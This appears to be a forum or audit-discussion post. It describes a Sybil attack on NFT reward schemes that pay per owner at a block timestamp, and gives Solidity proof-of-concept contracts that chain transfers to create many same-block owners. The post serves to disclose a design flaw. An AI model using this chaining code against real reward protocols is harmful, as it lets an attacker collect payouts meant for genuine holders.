I’m talking about a different Sybil vector.
The issue is not transferring the same token to the same wallet multiple times. The issue is sequential transfers between multiple wallets (or contracts) within the same block.
For example:
Bob is the owner at a given block.timestamp.
He transfers the NFT to Alice (first time she ever owns it).
Alice’s contract implements onERC721Received() and immediately transfers the token to Jack within the same block.
function onERC721Received(...) external returns (bytes4) {
IERC721(msg.sender).transferFrom(address(this), thirdAddress, tokenId);
return IERC721Receiver.onERC721Received.selector;
}
This pattern can be extended: a chain of contracts can automatically forward the NFT during onERC721Received, creating multiple distinct owners within the same block and the same block.timestamp.
The vector is not about sending the token to the same wallet repeatedly. It is about creating multiple first-time owners in a single block through automated contract-to-contract transfers.
If a rewards protocol defines a rule such as “100 USDC per owner at timestamp T” (or “per address that owned the token at timestamp T”), then all of those intermediate addresses could appear as valid historical owners for that timestamp.
From the perspective of ownership history based purely on block.timestamp, they all share the same timestamp value, even though the ownership duration was effectively zero.
So the attack surface is not duplication to the same address, it is the creation of multiple distinct addresses that become historical owners within a single block via re-entrant or chained transfers.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC721Minimal {
function transferFrom(address from, address to, uint256 tokenId) external;
}
interface IChainedTransfer {
function chainedTransfer(uint256 tokenId) external;
}
/*
Contract A
- Acts as the initial attacker
- Stores NFT address
- Stores next contract (B)
- Executes full chain from attack()
*/
contract ContractA {
address public immutable nft;
address public nextContract; // Contract B
constructor(address _nft, address _next) {
nft = _nft;
nextContract = _next;
}
function setNext(address _next) external {
nextContract = _next;
}
function attack(uint256 tokenId) external {
// A transfers NFT to B
IERC721Minimal(nft).transferFrom(address(this), nextContract, tokenId);
// A explicitly calls B to continue the chain
IChainedTransfer(nextContract).chainedTransfer(tokenId);
}
}
/*
Contract B
- Stores NFT address
- Stores next contract (C or further)
- When chainedTransfer is called, forwards NFT
and calls the next contract in the chain
*/
contract ContractB is IChainedTransfer {
address public immutable nft;
address public nextContract; // Contract C (or further)
constructor(address _nft, address _next) {
nft = _nft;
nextContract = _next;
}
function setNext(address _next) external {
nextContract = _next;
}
function chainedTransfer(uint256 tokenId) external override {
// B transfers NFT to C
IERC721Minimal(nft).transferFrom(address(this), nextContract, tokenId);
// B calls C to continue chain
IChainedTransfer(nextContract).chainedTransfer(tokenId);
}
}
Explanation
This implementation follows the exact described logic:
ContractA initially owns the NFT.
attack(tokenId) is called on ContractA.
- Inside
attack():
- The NFT is transferred from
ContractA to ContractB.
ContractA then explicitly calls chainedTransfer() on ContractB.
ContractB.chainedTransfer():
- Transfers the NFT to its stored
nextContract (e.g., ContractC).
- Immediately calls
chainedTransfer() on that next contract.
- The process can continue recursively as long as each contract stores another
nextContract.
Important characteristics:
- Each contract temporarily becomes the owner of the NFT.
- All transfers happen within a single transaction.
- All ownership changes occur within the same block.
- Each contract stores:
- The NFT address
- The address of the next contract in the chain
If a reward protocol defines a rule such as:
“100 USDC per owner at block.timestamp = X”
then multiple distinct contracts can sequentially become owners within the same transaction and same block.
This demonstrates that the Sybil vector is not about repeatedly transferring to the same wallet, but about chaining ownership across multiple distinct contracts within one block, potentially creating N valid ownership entries at the same timestamp.